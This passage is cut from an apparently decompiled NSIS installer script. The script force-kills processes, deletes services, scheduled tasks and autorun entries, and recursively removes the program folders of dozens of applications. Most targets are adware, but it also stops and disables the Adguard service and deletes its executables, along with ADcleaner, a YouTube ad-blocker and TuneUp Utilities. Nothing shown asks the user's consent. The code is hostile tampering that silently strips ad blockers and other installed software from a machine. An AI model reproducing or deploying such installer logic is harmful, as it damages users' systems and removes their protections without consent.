; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM gamexpsvc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\GameXPService
label_16892:
IfFileExists "$PROGRAMFILES\Obnovi Soft" 0 label_16900
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Îáíîâè Ñîôò"
nsExec::Exec "cmd /k taskkill /IM ObnoviSoft.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ObnoviSoft.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Obnovi Soft"
label_16900:
IfFileExists $APPDATA\ntsvc 0 label_16908
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Sed
nsExec::Exec "cmd /k taskkill /IM ntsvc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ntsvc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\ntsvc
label_16908:
IfFileExists $APPDATA\do-search 0 label_16910
RMDir /r /REBOOTOK $APPDATA\do-search
label_16910:
IfFileExists $APPDATA\Mactowebise 0 label_16917
nsExec::Exec "cmd /k taskkill /IM ProtectInstall.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ProtectInstall.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\Mactowebise
label_16917:
IfFileExists $APPDATA\DigitalSites 0 label_16929
nsExec::Exec "cmd /k taskkill /IM UpdateTask.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UpdateTask.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Digital Sites$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Digital Sites$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\DigitalSites
label_16929:
IfFileExists $PROGRAMFILES\LiveWPPUpdate 0 label_16937
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\LiveUpdateWPP Manager"
nsExec::Exec "cmd /k taskkill /IM LiveUpdateWPP.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LiveUpdateWPP.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\LiveWPPUpdate
label_16937:
IfFileExists $APPDATA\SmartSearch\SmartSearch.exe 0 label_16944
nsExec::Exec "cmd /k taskkill /IM SmartSearch.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SmartSearch.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\SmartSearch
label_16944:
IfFileExists $PROGRAMFILES64\Reimage 0 label_16957
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ReimageRealTimeProtector
nsExec::Exec "cmd /k taskkill /IM ReiGuard.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ReiGuard.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ReiSystem.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ReiSystem.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES64\Reimage
label_16957:
IfFileExists "$PROGRAMFILES\Wooden Seal" 0 label_16971
nsExec::Exec "cmd /k taskkill /IM updateWoodenSeal.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updateWoodenSeal.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM utilWoodenSeal.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilWoodenSeal.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Wooden Seal"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Wooden Seal"
RMDir /r /REBOOTOK "$PROGRAMFILES\Wooden Seal"
label_16971:
IfFileExists $PROGRAMFILES\PrIceLesss 0 label_16973
RMDir /r /REBOOTOK $PROGRAMFILES\PrIceLesss
label_16973:
IfFileExists $PROGRAMFILES\Uniblue\PC-Mechanic 0 label_16980
nsExec::Exec "cmd /k taskkill /IM pc-mechanic.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pc-mechanic.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Uniblue\PC-Mechanic
label_16980:
IfFileExists $PROGRAMFILES\IGS\DCLR.exe 0 label_16993
nsExec::Exec "cmd /k taskkill /IM DCLR.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM DCLR.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM DCLR64.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM DCLR64.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\DCLR
RMDir /r /REBOOTOK $PROGRAMFILES\IGS
label_16993:
IfFileExists $PROGRAMFILES\MiPony\MiPony.exe 0 label_17000
nsExec::Exec "cmd /k taskkill /IM MiPony.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MiPony.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\MiPony
label_17000:
IfFileExists "$PROGRAMFILES\Web Amplified" 0 label_17002
RMDir /r /REBOOTOK "$PROGRAMFILES\Web Amplified"
label_17002:
IfFileExists $APPDATA\Homepager\Homepager.exe 0 label_17004
RMDir /r /REBOOTOK $APPDATA\Homepager
label_17004:
IfFileExists "$PROGRAMFILES\TuneUp Utilities 2014" 0 label_17018
DeleteRegKey HKLM SYSTEM\ControlSet001\services\TuneUp.UtilitiesSvc
DeleteRegKey HKLM SYSTEM\ControlSet001\services\TuneUpUtilitiesDrv
nsExec::Exec "cmd /k taskkill /IM TuneUpUtilitiesService64.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TuneUpUtilitiesService64.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM TuneUpUtilitiesApp64.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TuneUpUtilitiesApp64.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\TuneUp Utilities 2014"
label_17018:
ClearErrors
ReadRegStr $2 HKCU "Software\Microsoft\Windows\CurrentVersion\Uninstall\Download Manager Packages" DisplayIcon
IfErrors label_17032
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17032
RMDir /r /REBOOTOK $2
label_17032:
IfFileExists $PROGRAMFILES\MixVideoPlayer 0 label_17040
nsExec::Exec "cmd /k taskkill /IM MixVideoPlayerUpdaterService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MixVideoPlayerUpdaterService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MixVideoPlayerUpdaterService
RMDir /r /REBOOTOK $PROGRAMFILES\MixVideoPlayer
label_17040:
IfFileExists $PROGRAMFILES64\rUpdater 0 label_17054
DeleteRegKey HKLM SYSTEM\ControlSet001\services\rUpdater
nsExec::Exec "cmd /k taskkill /IM rUpdater_srv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM rUpdater_srv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM rUpdater_agent.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM rUpdater_agent.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run rUpdater2
RMDir /r /REBOOTOK $PROGRAMFILES64\rUpdater
label_17054:
IfFileExists $PROGRAMFILES64\shopper-z 0 label_17068
DeleteRegKey HKLM SYSTEM\ControlSet001\services\csrcc
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\shopper-z Updater"
nsExec::Exec "cmd /k taskkill /IM csrcc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM csrcc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Donte.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Donte.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES64\shopper-z
label_17068:
IfFileExists $PROGRAMFILES64\shopperz 0 label_17082
DeleteRegKey HKLM SYSTEM\ControlSet001\services\csrcc
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\shopperz Updater"
nsExec::Exec "cmd /k taskkill /IM csrcc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM csrcc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Otyvipo.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Otyvipo.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES64\shopperz
label_17082:
IfFileExists $PROGRAMFILES\WindeskWinsearch 0 label_17090
nsExec::Exec "cmd /k taskkill /IM $\"Windesk Winsearch.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Windesk Winsearch.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Windesk Winsearch"
RMDir /r /REBOOTOK $PROGRAMFILES\WindeskWinsearch
label_17090:
IfFileExists $APPDATA\oursurfing 0 label_17092
RMDir /r /REBOOTOK $APPDATA\oursurfing
label_17092:
IfFileExists $LOCALAPPDATA\PriceFountain 0 label_17105
nsExec::Exec "cmd /k taskkill /IM pricefountain.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pricefountain.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM pricefountainw.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pricefountainw.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run "Price Fountain"
RMDir /r /REBOOTOK $LOCALAPPDATA\PriceFountain
label_17105:
IfFileExists $APPDATA\PriceFountain\UpdateProc\UpdateTask.exe 0 label_17112
nsExec::Exec "cmd /k taskkill /IM UpdateTask.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UpdateTask.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\PriceFountain
label_17112:
IfFileExists $PROGRAMFILES\PriceLoesss 0 label_17114
RMDir /r /REBOOTOK $PROGRAMFILES\PriceLoesss
label_17114:
IfFileExists "$DESKTOP\Ðaìáëåð Áðàóçåð.lnk" 0 label_17116
Delete "$DESKTOP\Ðaìáëåð Áðàóçåð.lnk"
label_17116:
IfFileExists "$DESKTOP\Âoéòè â Èíòåðíåò.lnk" 0 label_17118
Delete "$DESKTOP\Âoéòè â Èíòåðíåò.lnk"
label_17118:
IfFileExists $DESKTOP\Êîmetà.lnk 0 label_17120
Delete $DESKTOP\Êîmetà.lnk
label_17120:
IfFileExists $APPDATA\Browsers\*.bat 0 label_17122
Delete /REBOOTOK $APPDATA\Browsers\*.bat
label_17122:
IfFileExists "$PROGRAMFILES\Sale Charger" 0 label_17126
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleCharger"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleCharger"
RMDir /r /REBOOTOK "$PROGRAMFILES\Sale Charger"
label_17126:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleCharger" ImagePath
IfErrors label_17140
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17140
RMDir /r /REBOOTOK $2
label_17140:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleCharger" ImagePath
IfErrors label_17154
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17154
RMDir /r /REBOOTOK $2
label_17154:
IfFileExists "$PROGRAMFILES\Primary Color" 0 label_17168
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Primary Color"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Primary Color"
nsExec::Exec "cmd /k taskkill /IM updatePrimaryColor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updatePrimaryColor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM utilPrimaryColor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilPrimaryColor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Primary Color"
label_17168:
IfFileExists $DESKTOP\Êðèçèñ.lnk 0 label_17170
Delete $DESKTOP\Êðèçèñ.lnk
label_17170:
IfFileExists "$DESKTOP\Èãðàòü â Âîéíû Ïðåñòîëîâ.lnk" 0 label_17172
Delete "$DESKTOP\Èãðàòü â Âîéíû Ïðåñòîëîâ.lnk"
label_17172:
IfFileExists $PROGRAMFILES\PricceeLess 0 label_17174
RMDir /r /REBOOTOK $PROGRAMFILES\PricceeLess
label_17174:
IfFileExists $LOCALAPPDATA\UpdateAdmin 0 label_17186
nsExec::Exec "cmd /k taskkill /IM UpdateAdmin.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UpdateAdmin.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"UpdateAdmin$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"UpdateAdmin$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\UpdateAdmin
label_17186:
IfFileExists $PROGRAMFILES\PreiceLeSs 0 label_17188
RMDir /r /REBOOTOK $PROGRAMFILES\PreiceLeSs
label_17188:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr CrazyScore" ImagePath
IfErrors label_17202
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17202
RMDir /r /REBOOTOK $2
label_17202:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr CrazyScore" ImagePath
IfErrors label_17216
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17216
RMDir /r /REBOOTOK $2
label_17216:
IfFileExists "$PROGRAMFILES\Crazy Score" 0 label_17220
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr CrazyScore"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr CrazyScore"
RMDir /r /REBOOTOK "$PROGRAMFILES\Crazy Score"
label_17220:
IfFileExists $PROGRAMFILES\SearchSnacks* 0 label_17254
StrCpy $0 0
label_17222:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_17254
IntOp $0 $0 + 1
ClearErrors
Push $1
Push SearchSnacks
Call :label_405
Pop $R3
IfErrors label_17222
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\sssvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ssnfd_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ssnfd_$3.sys 0 label_17246
Delete /REBOOTOK $SYSDIR\drivers\ssnfd_$3.sys
label_17246:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ssnfd_$3.sys 0 label_17253
Delete /REBOOTOK $SYSDIR\drivers\ssnfd_$3.sys
label_17253:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_17254:
IfFileExists $PROGRAMFILES\youtubeadblocker 0 label_17256
RMDir /r /REBOOTOK $PROGRAMFILES\youtubeadblocker
label_17256:
IfFileExists $PROGRAMFILES\Adguard\Adguard.exe 0 label_17286
nsExec::Exec "cmd /k net stop $\"Adguard Service$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop $\"Adguard Service$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config $\"Adguard Service$\" start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config $\"Adguard Service$\" start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Adguard.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Adguard.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM AdguardSvc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AdguardSvc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Adguard.Tools.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Adguard.Tools.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run Adguard
Delete /REBOOTOK $PROGRAMFILES\Adguard\Adguard.exe
Delete /REBOOTOK $PROGRAMFILES\Adguard\AdguardSvc.exe
Delete /REBOOTOK $PROGRAMFILES\Adguard\Adguard.Tools.exe
label_17286:
IfFileExists $LOCALAPPDATA\ADcleaner\adcleaner.exe 0 label_17294
nsExec::Exec "cmd /k taskkill /IM adcleaner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM adcleaner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run ADcleaner
Delete /REBOOTOK $LOCALAPPDATA\ADcleaner\adcleaner.exe
label_17294:
IfFileExists "$PROGRAMFILES\Smileys We Love Toolbar for IE" 0 label_17296
RMDir /r /REBOOTOK "$PROGRAMFILES\Smileys We Love Toolbar for IE"
label_17296:
IfFileExists $PROGRAMFILES\mbot_ru* 0 label_17310
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\mbot_ru*
label_17299:
StrCmp $R1 "" label_17309
IfFileExists $PROGRAMFILES\$R1 0 label_17307
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_17307:
FindNext $0 $R1
Goto label_17299
label_17309:
FindClose $0
label_17310:
IfFileExists $LOCALAPPDATA\mbot_ru* 0 label_17324
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\mbot_ru*
label_17313:
StrCmp $R1 "" label_17323
IfFileExists $LOCALAPPDATA\$R1 0 label_17321
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
label_17321:
FindNext $0 $R1
Goto label_17313
label_17323:
FindClose $0
label_17324:
IfFileExists "$PROGRAMFILES\Popi TV" 0 label_17331
nsExec::Exec "cmd /k taskkill /IM PopiTV.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PopiTV.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Popi TV"
label_17331:
IfFileExists $SMSTARTUP\PopiTVTray.lnk 0 label_17333
Delete /REBOOTOK $SMSTARTUP\PopiTVTray.lnk
label_17333:
IfFileExists $PROGRAMFILES\TurboWire 0 label_17335
RMDir /r /REBOOTOK $PROGRAMFILES\TurboWire
label_17335:
IfFileExists $PROGRAMFILES\PriceLEss 0 label_17337
RMDir /r /REBOOTOK $PROGRAMFILES\PriceLEss
label_17337:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr GlassBottle" ImagePath
IfErrors label_17351
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17351
RMDir /r /REBOOTOK $2
label_17351:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr GlassBottle" ImagePath
IfErrors label_17365
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17365
RMDir /r /REBOOTOK $2
label_17365:
IfFileExists "$PROGRAMFILES\Glass Bottle" 0 label_17369
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr GlassBottle"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr GlassBottle"
RMDir /r /REBOOTOK "$PROGRAMFILES\Glass Bottle"
label_17369:
IfFileExists "$PROGRAMFILES\Pine Tree" 0 label_17383
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Pine Tree"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Pine Tree"
nsExec::Exec "cmd /k taskkill /IM utilPineTree.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilPineTree.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM updatePineTree.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updatePineTree.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Pine Tree"
label_17383:
IfFileExists "$PROGRAMFILES\Edu App" 0 label_17397
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Edu App"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Edu App"
nsExec::Exec "cmd /k taskkill /IM updateEduApp.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updateEduApp.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM utilEduApp.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilEduApp.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Edu App"
label_17397:
IfFileExists $SMSTARTUP\Download.lnk 0 label_17417
ShellLink::GetShortCutTarget $SMSTARTUP\Download.lnk
; Call Initialize_____Plugins
; File $PLUGINSDIR\ShellLink.dll
; SetDetailsPrint lastused
; Push $SMSTARTUP\Download.lnk
; CallInstDLL $PLUGINSDIR\ShellLink.dll GetShortCutTarget
Pop $1
ClearErrors
Push $1
Push Download.exe
Call :label_405
Pop $0
IfErrors label_17417
nsExec::ExecToStack "schtasks /delete /tn $\"Bidaily Synchronize Task$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Bidaily Synchronize Task$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $1
Delete /REBOOTOK $SMSTARTUP\Download.lnk
label_17417:
IfFileExists $PROGRAMFILES\ORBTR 0 label_17419
RMDir /r /REBOOTOK $PROGRAMFILES\ORBTR
label_17419:
IfFileExists $LOCALAPPDATA\avabvyxvdy 0 label_17431
nsExec::Exec "cmd /k taskkill /IM avabvyxvdy.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM avabvyxvdy.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"avabvyxvdy$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"avabvyxvdy$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\avabvyxvdy
label_17431:
IfFileExists $PROGRAMFILES\PriceLEoss 0 label_17433
RMDir /REBOOTOK $PROGRAMFILES\PriceLEoss
label_17433:
IfFileExists $PROGRAMFILES\Uniblue\DriverScanner 0 label_17450
nsExec::Exec "cmd /k taskkill /IM driverscanner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM driverscanner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
